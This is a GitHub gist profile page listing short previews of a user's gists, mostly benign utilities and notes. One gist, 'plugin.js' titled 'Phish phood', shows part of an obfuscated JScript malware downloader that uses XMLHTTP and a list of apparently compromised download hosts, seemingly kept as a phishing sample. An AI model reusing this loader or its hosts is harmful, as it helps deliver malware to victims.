Skip to content

Instantly share code, notes, and snippets.

View indrora's full-sized avatar
🖋️
Leaving a mark.

Morgan Gangwere indrora

🖋️
Leaving a mark.
View GitHub Profile
@indrora
indrora / 00readme.md
Last active November 12, 2021 07:24
DeadUpdate: Kickin' it bigtime.

... my first disclosure. Man, it feels weird doing this.

update 6/6/16 I would like to stress something: I'm not saying "Don't buy an ASUS device" -- I see a lot of people who want to lambaste ASUS for this and boycott their hardware. This isn't what I want people to be doing by any stretch. Stupidly, I like the ASUS hardware I have (it's nice for the price) and I would rather see a pressure on ASUS as an OEM to stop shipping "value added software" to consumers; If you want to help Microsoft in pushing this mentality, go buy a signature machine from them. Microsoft provides support, but also only ships windows and a few select utilities that are essential to the functioning of the system (think: Radeon/Optimus and nVidia control panels) and fall heavily on the hardware makers (ATI, nVidia, Intel) to provide support for the harware.

Consider an ASUS device all you want. Start putting pressure on Microsoft that consumers want bloat-free devices and start voting with your money. Microsoft's store

@indrora
indrora / plugin.js
Created April 14, 2017 22:05
Phish phood
var uuu = 0;while(uuu<999999) {uuu++;}
var ijdl = "MSXML2.XMLHTTP";
var pol = new ActiveXObject(ijdl);
var pusik = ['/', 't'+'', "", ":", 'p', 'h', 'S', 'a', "T", '', "PLKU"];
pusik[1+1] = "GETA";
pusik[2] = pusik[2].substr(0, 3);
var zaher = "httpHER";
zaher = zaher.substr(0, 4);
var x = ["boorsemsport.be/templates/yoo_aurora/less/uikit","eurostandard.ro/pics/size1","revivalnews.info/.well-known/acme-challenge/counter","ristorantemotta.com/wp-admin/css","glochemindia.com/modules/mod_roknavmenu/lib/librokmenu"];
var m = "QsW3paHVLMkIB5tARP8C2OMxIGNwUWrq9qv1Wfv2qRVPrTQE9B0bXj0EHRQzH8fPMvY5Z3KJN0tYPsAXlT9Na30pQ";
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@indrora
indrora / disk_stats.sh
Created January 26, 2013 05:53
Disk stats script
#!/bin/bash
DISKS=('sda' 'sda2')
OUT_DIR=/srv/http/
RRD_DIR=/srv/shared/
NOW=$(date +%s)
for disk_name in ${DISKS[@]}; do
// Lower end of ASCII printable (space)
#define ASCII_PRINT_LOWER = 0x20
// replace.
char[] want_kind = "$GPXXX";
int want_idx = 0;
void loop()
{
/* stuff to keep strobing happy */
@indrora
indrora / perpetudl.sh
Created January 25, 2013 17:35
downloader using fifo in bash
#!/bin/bash
FIFOPATH="/tmp/perpetudl"
DLPATH="/home/indrora/downloads/"
function pd_help
{
echo "USAGE: $0 [OPTIONS]"
echo "Options:"
echo " -a start a download"
@indrora
indrora / eigrpnotes.txt
Created March 22, 2011 00:04
EIGRP Notes
EIGRP := Enhanced Interior Gateway Routing Protocol
Successor to IGRP.
EIGRP uses the DUAL (Diffusing update algorythm) as opposed to a Bellman-Ford algorythm.
Metrics for EIGRP:
- Reliability (0-255, larger->better)
- Bandwidth (max banhdwidth in Kb/s) higher = better
- Delay (in n*10 uS) to destination network. smaller -> better.
@indrora
indrora / D3N9.cpp
Created November 11, 2012 19:30
D3N9: Demscene tribute on ChipKIT UNO32
/*
D3N9: Old-Skool demoscene scroller for PIC32
*/
/* Kindly ripped from IOShield_OLED_Full_Demo */
#include <IOShieldOled.h>
#define OLED IOShieldOledClass
OLED oled;
@indrora
indrora / bench.java
Created September 30, 2012 01:04
String lookup benchmarking in Java
package yellowfox.strings;
/**
*
* @author indrora
*
* This is a simple String Lookup table example.
*
* You could easily use this to generate a lookup table for a switch statement,
* especially if your table is going to never change.
@indrora
indrora / asdfhash.php
Created September 16, 2012 03:50
ASDFHash: Ascii hashing function
<?php
/*
* @name: asdfhash.php
* @author: morgan ``indrora'' gangwere <indrora@earfolds.com>
*
* @license 2clause BSD
*
* Copyright (c) 2012, morgan ``indrora'' gangwere
* All rights reserved.
*